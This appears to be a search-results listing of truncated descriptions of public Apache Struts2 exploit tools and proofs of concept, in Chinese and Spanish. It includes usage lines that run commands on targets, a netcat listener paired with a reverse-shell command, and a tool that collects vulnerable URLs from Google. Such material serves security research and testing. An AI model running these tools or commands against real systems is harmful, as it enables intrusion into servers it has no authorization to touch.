422 matches found
S2-055
S2-055 反序列化漏洞Exploit CVE-2017-7525 利用过程 javac ExploitCommand.java root@kitploit: package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import...
S2-053-CVE-2017-12611
S2-053-CVE-2017-12611 一个用于利用 Struts 2 S2-053 CVE-2017-12611 RCE 漏洞的简单脚本 用法 root@kitploit: exploit.py 示例 root@kitploit: $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" 生成的 EXP:...
CVE-2024-53677-S2-067-thread
免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。 CVE-2024-53677-S2-067-thread 验证poc,https://github.com/TAM-K592/CVE-2024-53677-S2-067/ Apache Struts 的以下版本受到影响:2.0.0 至 2.5.33,6.0.0 至 6.3.0.2 根据poc的最近几天的历史,目前网上的最终版本是base64混淆,是昨天中文出来的(2024.12.18中...
S2-045
S2-045 Struts2 S2-045 漏洞环境...
CVE-2016-4438
参考: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...
Struts2Shell
Struts2Shell 针对 CVE-2017-5638 的漏洞利用(及库) - Apache Struts2 S2-045 漏洞。 安装 root@kitploit: $ npm install -g struts2shell 作为库安装 root@kitploit: $ npm install struts2shell 命令行选项 root@kitploit: -h, --help 输出使用信息 -V, --version 输出版本号 -u, --url target 要攻击的 URL -c, --cmd command 要执行的命令 作为库使用 root@kitploit: va...
cve-2017-5638
cve-2017-5638 cve-2017-5638 漏洞站点示例 本项目旨在演示 CVE-2017-5638 的利用,仅供教育目的。 更多信息,请参阅 https://cwiki.apache.org/confluence/display/WW/S2-045 法律免责声明 本项目仅用于教育和道德测试目的。未经双方事先同意攻击目标是非法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,也不对因使用本程序造成的任何滥用或损害负责。 开始使用 1. 启动 Docker 容器: docker run -d -p 8080:8080...
s2-062
s2-062 远程代码执行S2-062 CVE-2021-31805验证POC 验证方式 vulfocus靶场问题 poc里面是验证s2-061靶场的,参数为id,新靶场参数为name 判断是id主要是因为想不到windows和linux有什么好的通用命令回显判断特征 靶场应该是无回显的原因,所以看不到指令 不过可以反弹shell和dnslog探测 针对无回显的...
st2-046-poc
Struts2 Content-Disposition filename 空字节变种 CVE-2017-5638 Struts2 安全公告 S2-046 一个空字节(\x00)在请求的 Content-Disposition 头部的 filename 字段中会触发 InvalidFileNameException,异常消息中包含相同的(客户端控制的)文件名字符串,该字符串可在错误处理期间被用于触发 OGNL 评估。请注意,这与最初在 S2-045 中报告的 Content-Type 向量 以及 S2-046 中提到的 Content-Length/Content-Disposition ...
CVE-2021-31805
CVE-2021-31805 1.简介 Struts2 远程命令执行漏洞(CVE-2020-17530&CVE-2021-31805)POC&EXP 2.用法 参数介绍 root@kitploit: -u 目标url -m dnslog|exp //默认有回显界面字符检查 -n s2-062 //默认s2-061 -s windows //默认linux -p 漏洞参数 有回显检测 root@kitploit: Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测 无回显检测 root@kitploit:...
CVE-2017-5638
CVE: 2017-5638 - Apache Struts2 S2-045 的 PoC 你好!我重构了原始脚本,改用 requests 库,其他库给我带来了一些错误。希望它对你有帮助! 使用方法: python3 cve-2017-5638 url cmd-command...
CVE-2018-11776
CVE-2018-11776 CVE-2018-11776 / S2-057 的实验环境 演示 运行服务器 root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 利用 root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...
CVE-2024-53677-S2-067
🚨🚨 CVE-2024-53677-S2-067🚨🚨 Aviso de seguridad: CVE-2024-53677 – Vulnerabilidad crítica de ejecución remota de código en Apache Struts Fecha del aviso: 14 de diciembre de 2024 ID de CVE: CVE-2024-53677 Puntuación CVSS: 9.5 Crítico Resumen Se ha identificado una vulnerabilidad crítica,...
S2-057-CVE-2018-11776
S2-057-CVE-2018-11776 Un exploit simple para Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANTE: Se proporciona solo con fines educativos o informativos. Desplegar entorno de prueba root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Uso...
CVE-2018-11776
CVE-2018-11776 2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由Semmle Security Research team的安全研究员汇报,漏洞编号为CVE-2018-11776(S2-057)。Struts2在XML配置中如果namespace值未设置且(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。 影响版本 Struts 2.3 to 2.3.34 Struts 2.5 to 2.5.16 修复版本 Struts 2.3.35...
S2-Reaper
S2-Reaper Este proyecto se utiliza para recolectar URLs vulnerables afectadas por Struts2 S2-045 de los resultados de búsqueda de Google. Uso root@kitploit: python reaper.py Acerca de El reaper.py ejecutará un rastreador de búsqueda de Google con palabras clave definidas en crawler.conf para...
-CVE-2017-9805-
Información de vulnerabilidad Recursos: https://vulners.com/cve/CVE-2017-9805 ¿Qué es esto? Un script de exploit en Python capaz de ejecutar comandos remotos en el shell de un sistema que aloja un Struts2 vulnerable a S2-052. Uso python s2-052.py --target 'http://192.168.0.233/orders/3' --command...
CVE-2020-17530
CVE-2020-17530 Struts2 S2-061 远程命令执行漏洞(CVE-2020-17530) 使用说明: root@kitploit: python CVE-2020-17530.py -u url python CVE-2020-17530.py -f file.txt python CVE-2020-17530.py -f file.txt -o outfile.txt python CVE-2020-17530.py -f file.txt -p socks5://127.0.0.1:7890 python CVE-2020-17530.py -e url...
CVE-2017-5638
CVE-2017-5638 | Struts s2-045 描述 通过恶意构造的Content-Type值,可以执行远程代码执行(RCE)攻击。如果Content-Type值无效,则会抛出异常,随后利用该异常向用户显示错误消息。 受影响版本 Struts 2.3.5 Struts 2.3.31 Struts 2.5 Struts 2.5.10 漏洞利用 修复措施 要修复此问题,请更新受影响软件以应用安全补丁。 Struts 2.3.32或2.5.10.1是已针对此特定问题打补丁的版本。 作者 此利用程序由zc00l ANDRE LUIS .. MARQUES编写;...